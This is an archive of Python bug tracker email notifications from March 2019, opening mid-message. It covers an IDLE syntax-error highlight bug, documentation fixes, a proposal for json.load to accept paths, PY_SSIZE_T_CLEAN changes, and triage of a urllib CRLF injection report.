* the length of the first line determines somehow what's highlighted in the third one: the longer the first line, more to the right the highlight goes in the third;

* third line can be whatever you want, it just needs to be long enough for a highlight to appear;

* you can even have blank lines between them;

* the same phenomenon appears if you use triple-quoted strings instead of single-quoted with backslash line continuation.

----------
messages: 338432
nosy: veky
priority: normal
severity: normal
status: open
title: Wrong position of SyntaxError in IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36376>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:23:57 2019
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Wed, 20 Mar 2019 02:23:57 +0000
Subject: [issue36376] Wrong position of SyntaxError in IDLE
In-Reply-To: <1553048588.12.0.98853436877.issue36376@roundup.psfhosted.org>
Message-ID: <1553048637.75.0.654348444017.issue36376@roundup.psfhosted.org>


Change by Vedran ?a?i? <vedgar at gmail.com>:


----------
assignee:  -> terry.reedy
components: +IDLE
nosy: +terry.reedy
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36376>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:24:38 2019
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Wed, 20 Mar 2019 02:24:38 +0000
Subject: [issue36376] Wrong position of SyntaxError in IDLE
In-Reply-To: <1553048588.12.0.98853436877.issue36376@roundup.psfhosted.org>
Message-ID: <1553048678.9.0.900995613474.issue36376@roundup.psfhosted.org>


Change by Vedran ?a?i? <vedgar at gmail.com>:


----------
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36376>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:30:09 2019
From: report at bugs.python.org (parkito)
Date: Wed, 20 Mar 2019 02:30:09 +0000
Subject: [issue36377] Python 'datastructures.html' docs page needs improvement
 because of ambiguity
Message-ID: <1553049009.71.0.761140685062.issue36377@roundup.psfhosted.org>


New submission from parkito <shoark7 at gmail.com>:

Hi, I have lots of interests in python data structures and their inheritance relationships so I often look around in python collections and collections.abc module.

```
https://docs.python.org/3/tutorial/datastructures.html#comparing-sequences-and-other-types
```

Please see the last section of the page. I know all Python users are well aware of Sequence comparisons like in tuples and list. This page also mentions that 

'Sequence objects may be compared to other objects with the same sequence type' in the very first line of the page.

However, we have to know that 'range' is also a subclass of 'Sequence' but 'range' objects are not comparable to each other.

I tested 'range(1, 3) < 'range(3)' in my interpreter. If it compares correctly as both are same Sequence types, result would be 'False'. Instead, TypeError was raised. It's because comparision methods(__gt__, __lte__, etc) are not impleneted here. I thought range objects would compare the values with peeking. But they don't. 


So, I recommend you to implement 5.8 section in this page as follows:
  
   -> Please specify that 'not all' Sequence subclass are comparable to the same classes: typically, 'range'.

'range' is a good example because every Python user uses 'range' in for loop.

----------
assignee: docs at python
components: Documentation
hgrepos: 382
messages: 338433
nosy: docs at python, shoark7
priority: normal
severity: normal
status: open
title: Python 'datastructures.html' docs page needs improvement because of ambiguity
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36377>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:40:42 2019
From: report at bugs.python.org (parkito)
Date: Wed, 20 Mar 2019 02:40:42 +0000
Subject: [issue36377] Python 'datastructures.html' docs page needs improvement
 because of ambiguity
In-Reply-To: <1553049009.71.0.761140685062.issue36377@roundup.psfhosted.org>
Message-ID: <1553049642.04.0.0203333220949.issue36377@roundup.psfhosted.org>


parkito <shoark7 at gmail.com> added the comment:

Hi, I have lots of interests in python data structures and their inheritance relationships so I often look around in python collections and collections.abc module.

```
https://docs.python.org/3/tutorial/datastructures.html#comparing-sequences-and-other-types
```

Please see the last section of the page. I know all Python users are well aware of Sequence comparisons like in tuples and list. This page also mentions that 

'Sequence objects may be compared to other objects with the same sequence type' in the very first line of the page.

However, we have to know that 'range' is also a subclass of 'Sequence' but 'range' objects are not comparable to each other.

I tested 'range(1, 3) < 'range(3)' in my interpreter. If it compares correctly as both are same Sequence types, result would be 'False'. Instead, TypeError was raised. It's because comparison methods(__gt__, __lte__, etc) are not impleneted here. I thought range objects would compare the values with peeking. But they don't. 


So, I recommend you to improve 5.8 section as follows:
  
   -> Please specify that 'not all' Sequence subclass are comparable to the same classes: typically, 'range'.

'range' is a good example because every Python user uses 'range' in for loop.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36377>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:42:21 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 02:42:21 +0000
Subject: [issue36370] "Fatal Python error: Cannot recover from stack overflow"
 from SymPy tests
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553049741.01.0.321919622142.issue36370@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

>From the stack trace it looks like some kind of recursion occurs on the tests causing the crash. Sympy is not a part of stdlib. Can you please add a pure Python reproducer or this is something that needs to be fixed by reporting to sympy repo.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:45:01 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 02:45:01 +0000
Subject: [issue36366] Patcher stop method should be idempotent
In-Reply-To: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>
Message-ID: <1553049901.96.0.283292152088.issue36366@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Thanks for the confirmation. I will raise a PR for this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:45:36 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 02:45:36 +0000
Subject: [issue36377] Python 'datastructures.html' docs page needs improvement
 because of ambiguity
In-Reply-To: <1553049009.71.0.761140685062.issue36377@roundup.psfhosted.org>
Message-ID: <1553049936.66.0.69306579901.issue36377@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36377>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:47:58 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 02:47:58 +0000
Subject: [issue36373] asyncio.gather: no docs for deprecated loop parameter
In-Reply-To: <1553025335.55.0.640410639085.issue36373@roundup.psfhosted.org>
Message-ID: <1553050078.47.0.365395370929.issue36373@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
components: +asyncio
nosy: +asvetlov, yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36373>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:49:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 02:49:33 +0000
Subject: [issue22166] test_codecs leaks references
In-Reply-To: <1407444567.64.0.0425446064781.issue22166@psf.upfronthosting.co.za>
Message-ID: <1553050173.33.0.202006361564.issue22166@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Codec tests don't leak anymore. I lost track of this very old issue. I don't think that anything should be done. Python code base changed a lot since 2014. I close the issue.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22166>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:56:08 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 20 Mar 2019 02:56:08 +0000
Subject: [issue23984] Documentation error: Descriptors
In-Reply-To: <1429245728.01.0.810263114275.issue23984@psf.upfronthosting.co.za>
Message-ID: <1553050568.99.0.824046524742.issue23984@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset abbdd1fc5c2017683da8d2ed3e8843e8c159bc8c by Miss Islington (bot) (Shubham Aggarwal) in branch 'master':
bpo-23984: Improve descriptor documentation (GH-1034)
https://github.com/python/cpython/commit/abbdd1fc5c2017683da8d2ed3e8843e8c159bc8c


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23984>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:56:51 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 20 Mar 2019 02:56:51 +0000
Subject: [issue23984] Documentation error: Descriptors
In-Reply-To: <1429245728.01.0.810263114275.issue23984@psf.upfronthosting.co.za>
Message-ID: <1553050611.8.0.0820089621213.issue23984@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12412

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23984>
_______________________________________

From report at bugs.python.org  Tue Mar 19 23:12:43 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Mar 2019 03:12:43 +0000
Subject: [issue36376] Wrong position of SyntaxError in IDLE
In-Reply-To: <1553048588.12.0.98853436877.issue36376@roundup.psfhosted.org>
Message-ID: <1553051563.98.0.529061210309.issue36376@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

IDLE should display the same error message and mark the error at the same spot that Python tells it too, which is to say, what is display and where it is marked when running Python in a console/terminal.  The only difference is that IDLE uses red background highlight instead of a caret.  For 3.7.2, IDLE displays the same 'invalid syntax' message but mis-marks the position as you say. 

The latest 3.7.3rc1 and 3.8.0a2 releases on Windows, without and with IDLE, with code in file or entered interactively, correctly display "SyntaxError: unmatched ')'", with an improved message, and mark the stray ')'.  The only new IDLE patch that might have fixed this (accidentally, as a side effect) was #34055.  Or some detail of the info IDLE gets might have changed.

If you find another example that fails with or without IDLE, in file or at prompt, please give all details and copy and paste the traceback from both python and IDLE.

I make of note of this as a test case for a future error highlight test.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36376>
_______________________________________

From report at bugs.python.org  Tue Mar 19 23:25:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 03:25:40 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553052340.96.0.69747878767.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset fa1537684869186da7938e4330361bf02363bac8 by Victor Stinner in branch 'master':
bpo-36301: Add _PyPreCmdline internal API (GH-12458)
https://github.com/python/cpython/commit/fa1537684869186da7938e4330361bf02363bac8


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Wed Mar 20 00:02:39 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 20 Mar 2019 04:02:39 +0000
Subject: [issue32147] improve performance of binascii.unhexlify() by using
 conversion table
In-Reply-To: <1511784869.56.0.213398074469.issue32147@psf.upfronthosting.co.za>
Message-ID: <1553054559.17.0.522763734321.issue32147@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32147>
_______________________________________

From report at bugs.python.org  Wed Mar 20 02:14:57 2019
From: report at bugs.python.org (Senthil Kumaran)
Date: Wed, 20 Mar 2019 06:14:57 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1553062497.5.0.876613962109.issue36276@roundup.psfhosted.org>


Senthil Kumaran <senthil at uthcode.com> added the comment:

I am going to make a note that the Superseder

1) https://bugs.python.org/issue30458 - is listed only as pending request for 2.7 with the intention to raise an Exception.

However, this bug demonstrates a vulnerability in all versions of Python (including 3.8 as of March 2019).

There are additional related bug reports that deal with the same topic of parsing CRLF in headers / or in requests.

2) https://bugs.python.org/issue14826 
3) https://bugs.python.org/issue13359

A consolidation of all of these is required, and at the end, our goal should be the close the loophole reported by this bug.


I am assigning this bug to myself to work on it, and my first task is make sure that the previous reports 1, 2 and 3 cover the scenario mentioned in this report. If they do not, I will reopen this ticket.

Thanks!

----------
assignee:  -> orsenthil

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Wed Mar 20 03:40:18 2019
From: report at bugs.python.org (Julien Palard)
Date: Wed, 20 Mar 2019 07:40:18 +0000
Subject: [issue35564] [DOC] Sphinx 2.0 will require master_doc variable set in
 conf.py
In-Reply-To: <1545514198.61.0.0770528567349.issue35564@roundup.psfhosted.org>
Message-ID: <1553067618.97.0.533584655015.issue35564@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
pull_requests: +12413

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35564>
_______________________________________

From report at bugs.python.org  Wed Mar 20 03:43:39 2019
From: report at bugs.python.org (Julien Palard)
Date: Wed, 20 Mar 2019 07:43:39 +0000
Subject: [issue35564] [DOC] Sphinx 2.0 will require master_doc variable set in
 conf.py
In-Reply-To: <1545514198.61.0.0770528567349.issue35564@roundup.psfhosted.org>
Message-ID: <1553067819.26.0.670961518041.issue35564@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
pull_requests: +12414

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35564>
_______________________________________

From report at bugs.python.org  Wed Mar 20 03:44:40 2019
From: report at bugs.python.org (Julien Palard)
Date: Wed, 20 Mar 2019 07:44:40 +0000
Subject: [issue35564] [DOC] Sphinx 2.0 will require master_doc variable set in
 conf.py
In-Reply-To: <1545514198.61.0.0770528567349.issue35564@roundup.psfhosted.org>
Message-ID: <1553067880.42.0.924648406754.issue35564@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
pull_requests: +12415

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35564>
_______________________________________

From report at bugs.python.org  Wed Mar 20 04:15:27 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 20 Mar 2019 08:15:27 +0000
Subject: [issue36374] A possible null pointer dereference in compile.c's
 merge_consts_recursive()
In-Reply-To: <1553031928.75.0.0804160470013.issue36374@roundup.psfhosted.org>
Message-ID: <1553069727.66.0.177388792392.issue36374@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36374>
_______________________________________

From report at bugs.python.org  Wed Mar 20 04:44:18 2019
From: report at bugs.python.org (Dani Fojo)
Date: Wed, 20 Mar 2019 08:44:18 +0000
Subject: [issue36378] Add support to load from paths to json.load
Message-ID: <1553071458.39.0.659237706871.issue36378@roundup.psfhosted.org>


New submission from Dani Fojo <dani.fojo at gmail.com>:

Add support to json.load to read from a string or Path object containing the path to a json file. Many libraries (like Numpy) support this behavior.

----------
components: Library (Lib)
messages: 338442
nosy: Dani Fojo
priority: normal
severity: normal
status: open
title: Add support to load from paths to json.load
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36378>
_______________________________________

From report at bugs.python.org  Wed Mar 20 04:45:28 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 08:45:28 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553071528.65.0.505412316395.issue8677@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12416

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 04:47:20 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 20 Mar 2019 08:47:20 +0000
Subject: [issue36378] Add support to load from paths to json.load
In-Reply-To: <1553071458.39.0.659237706871.issue36378@roundup.psfhosted.org>
Message-ID: <1553071640.32.0.61030923381.issue36378@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +ezio.melotti, rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36378>
_______________________________________

From report at bugs.python.org  Wed Mar 20 04:49:21 2019
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 20 Mar 2019 08:49:21 +0000
Subject: [issue36378] Add support to load from paths to json.load
In-Reply-To: <1553071458.39.0.659237706871.issue36378@roundup.psfhosted.org>
Message-ID: <1553071761.94.0.03407042099.issue36378@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12417
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36378>
_______________________________________

From report at bugs.python.org  Wed Mar 20 05:07:28 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 09:07:28 +0000
Subject: [issue36378] Add support to load from paths to json.load
In-Reply-To: <1553071458.39.0.659237706871.issue36378@roundup.psfhosted.org>
Message-ID: <1553072848.25.0.10057779166.issue36378@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36378>
_______________________________________

From report at bugs.python.org  Wed Mar 20 05:15:50 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 09:15:50 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553073350.0.0.970468160732.issue8677@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

> Also PC/winreg.c. In this case winreg.SetValue() needs a length of size DWORD instead of ssize_t.

As MSDN, cbData is ignored.
https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regsetvaluew

Can I skip overflow check?

If I can not, what is DWORD_MAX? (INT_MAX?)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 05:16:29 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 20 Mar 2019 09:16:29 +0000
Subject: [issue36374] A possible null pointer dereference in compile.c's
 merge_consts_recursive()
In-Reply-To: <1553031928.75.0.0804160470013.issue36374@roundup.psfhosted.org>
Message-ID: <1553073389.46.0.960661398951.issue36374@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 9b4a1b1e23d4a7cb18ad26f405bdc741af69f342 by Miss Islington (bot) (Zackery Spytz) in branch 'master':
bpo-36374: Fix a possible null pointer dereference (GH-12449)
https://github.com/python/cpython/commit/9b4a1b1e23d4a7cb18ad26f405bdc741af69f342


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36374>
_______________________________________

From report at bugs.python.org  Wed Mar 20 05:18:50 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 09:18:50 +0000
Subject: [issue36374] A possible null pointer dereference in compile.c's
 merge_consts_recursive()
In-Reply-To: <1553031928.75.0.0804160470013.issue36374@roundup.psfhosted.org>
Message-ID: <1553073530.12.0.387905526703.issue36374@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36374>
_______________________________________

From report at bugs.python.org  Wed Mar 20 05:26:50 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 09:26:50 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553074010.76.0.187589032247.issue8677@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12418

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 05:27:12 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 09:27:12 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553074032.47.0.764482131323.issue8677@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12419

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 05:40:34 2019
From: report at bugs.python.org (Julien Palard)
Date: Wed, 20 Mar 2019 09:40:34 +0000
Subject: [issue35564] [DOC] Sphinx 2.0 will require master_doc variable set in
 conf.py
In-Reply-To: <1545514198.61.0.0770528567349.issue35564@roundup.psfhosted.org>
Message-ID: <1553074834.4.0.824212833048.issue35564@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:


New changeset 756cfd88920c2349d4546024856c406409b0ab7b by Julien Palard in branch '3.7':
[3.7] bpo-35564: add master_doc='contents' to conf.py (GH-12460)
https://github.com/python/cpython/commit/756cfd88920c2349d4546024856c406409b0ab7b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35564>
_______________________________________

From report at bugs.python.org  Wed Mar 20 05:41:01 2019
From: report at bugs.python.org (Julien Palard)
Date: Wed, 20 Mar 2019 09:41:01 +0000
Subject: [issue35564] [DOC] Sphinx 2.0 will require master_doc variable set in
 conf.py
In-Reply-To: <1545514198.61.0.0770528567349.issue35564@roundup.psfhosted.org>
Message-ID: <1553074861.73.0.383461489406.issue35564@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:


New changeset 07b8018d75f3d4495708cf1d4175f33b40e13d30 by Julien Palard in branch '2.7':
[2.7] bpo-35564: add master_doc='contents' to conf.py (GH-12462)
https://github.com/python/cpython/commit/07b8018d75f3d4495708cf1d4175f33b40e13d30


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35564>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:02:03 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 10:02:03 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553076123.58.0.000202267664892.issue8677@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset c5a216e0b97712bf19b4a6b7655c6bf22a367edd by Inada Naoki in branch 'master':
bpo-8677: use PY_SSIZE_T_CLEAN in Modules/_gdbmodule.c (GH-12464)
https://github.com/python/cpython/commit/c5a216e0b97712bf19b4a6b7655c6bf22a367edd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:02:10 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 10:02:10 +0000
Subject: [issue36378] Add support to load from paths to json.load
In-Reply-To: <1553071458.39.0.659237706871.issue36378@roundup.psfhosted.org>
Message-ID: <1553076130.15.0.333263361758.issue36378@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

This expands the API where json.load now only accepts open file objects to support str and pathlike objects. This was discussed in https://mail.python.org/pipermail/python-ideas/2017-March/045303.html where there were alternatives proposed as below : 

with path.open() as f: obj = json.load(f)

some_path.write_text(json.dumps(obj), encoding='utf8')
json.loads(some_path.read_text(encoding='utf8'))

Also supporting str and pathlib passes responsibility to json.load to open them and also close them properly? I think this needs a python-ideas discussion if the proposal has something to add other than the previous thread where many alternatives were mentioned for terse code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36378>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:02:48 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 10:02:48 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553076168.7.0.891539237599.issue8677@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset e9a1dcb4237cb2be71ab05883d472038ea9caf62 by Inada Naoki in branch 'master':
bpo-8677: use PY_SSIZE_T_CLEAN in socketmodule.c (GH-12467)
https://github.com/python/cpython/commit/e9a1dcb4237cb2be71ab05883d472038ea9caf62


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:05:19 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Wed, 20 Mar 2019 10:05:19 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552957605.57.0.0901692059098.issue36324@roundup.psfhosted.org>
Message-ID: <20190320100512.GB12502@ando.pearwood.info>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

On Tue, Mar 19, 2019 at 01:06:45AM +0000, Steven D'Aprano wrote:
> Later I will do some spot checks against the results returned by the Nspire calculator

Looks good to me, they agree to 6 decimal places in my tests. Following 
Mark's earlier investigation, I expect that where they differ, it is the 
Nspire which is wrong.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:10:21 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 10:10:21 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553076621.05.0.488439993391.issue8677@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset d5f18a63cc2dfe8d0adec8bce384a8c569b0f3dc by Inada Naoki in branch 'master':
bpo-8677: use PY_SSIZE_T_CLEAN in PC/winreg.c (GH-12466)
https://github.com/python/cpython/commit/d5f18a63cc2dfe8d0adec8bce384a8c569b0f3dc


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:15:50 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Wed, 20 Mar 2019 10:15:50 +0000
Subject: [issue36373] asyncio.gather: no docs for deprecated loop parameter
In-Reply-To: <1553025335.55.0.640410639085.issue36373@roundup.psfhosted.org>
Message-ID: <1553076950.02.0.869357428599.issue36373@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

Hi,

Reading the asyncio.gather code not seem to be deprecrated.
loop is used on a lot of line of code. 

Maybe, the deprecate idea is on other place where I don't know.

----------
nosy: +eamanu

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36373>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:25:30 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Wed, 20 Mar 2019 10:25:30 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1553022815.36.0.858846634868.issue36347@roundup.psfhosted.org>
Message-ID: <e2da4242-de11-b0e8-28d7-03593a11d0fe@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi @Josh,

In the PR, I don't remove READONLY. READONLY becomes an alias of
PY_READONLY.

I think I should split my PR in two PRs

1. Improve the current documentation and the code
2. Change the code in the Modules/ with the new macros.

@Serhyi what is your suggestion?

Thank you

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:25:44 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 20 Mar 2019 10:25:44 +0000
Subject: [issue30668] DOC: missing word in license.rst
In-Reply-To: <1497464826.74.0.48412228971.issue30668@psf.upfronthosting.co.za>
Message-ID: <1553077544.36.0.985575636523.issue30668@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

The first note was fixed, but the second still remains.  Assigning to @Mariatta for the sprints.

----------
assignee: docs at python -> Mariatta
nosy: +Mariatta -christian.heimes, docs at python
stage:  -> needs patch
versions: +Python 3.8 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30668>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:36:27 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Wed, 20 Mar 2019 10:36:27 +0000
Subject: [issue36377] Python 'datastructures.html' docs page needs improvement
 because of ambiguity
In-Reply-To: <1553049009.71.0.761140685062.issue36377@roundup.psfhosted.org>
Message-ID: <1553078187.66.0.37981839848.issue36377@roundup.psfhosted.org>


Change by Emmanuel Arias <emmanuelarias30 at gmail.com>:


----------
keywords: +patch
pull_requests: +12420
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
